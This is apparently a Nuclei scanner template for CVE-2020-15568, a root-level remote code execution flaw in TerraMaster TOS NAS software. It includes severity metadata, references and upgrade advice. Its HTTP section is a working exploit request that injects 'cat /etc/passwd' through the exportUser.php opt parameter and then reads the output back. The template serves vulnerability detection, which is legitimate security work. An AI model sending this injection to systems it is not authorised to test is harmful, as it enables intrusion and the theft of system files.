51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2020-15568
|
|
|
|
info:
|
|
name: TerraMaster TOS <.1.29 - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
|
|
remediation: |
|
|
Upgrade TerraMaster TOS to version 1.29 or higher to mitigate this vulnerability.
|
|
reference:
|
|
- https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-15568
|
|
- https://help.terra-master.com/TOS/view/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-15568
|
|
cwe-id: CWE-913
|
|
epss-score: 0.96258
|
|
epss-percentile: 0.99366
|
|
cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: terra-master
|
|
product: tos
|
|
tags: cve,cve2020,terramaster,rce
|
|
variables:
|
|
filename: "{{to_lower(rand_text_alpha(4))}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3E{{filename}}.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
- |
|
|
GET /include/{{filename}}.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100d60cce28f5fadf5690f32d6ef26ddbb4377735603cabc93a5900c3f4a798c551022100f1ca4514f9e1bd33784592bd18ad2d312c7a1851fea425c805df3af7bde7e593:922c64590222798bb761d5b6d8e72950 |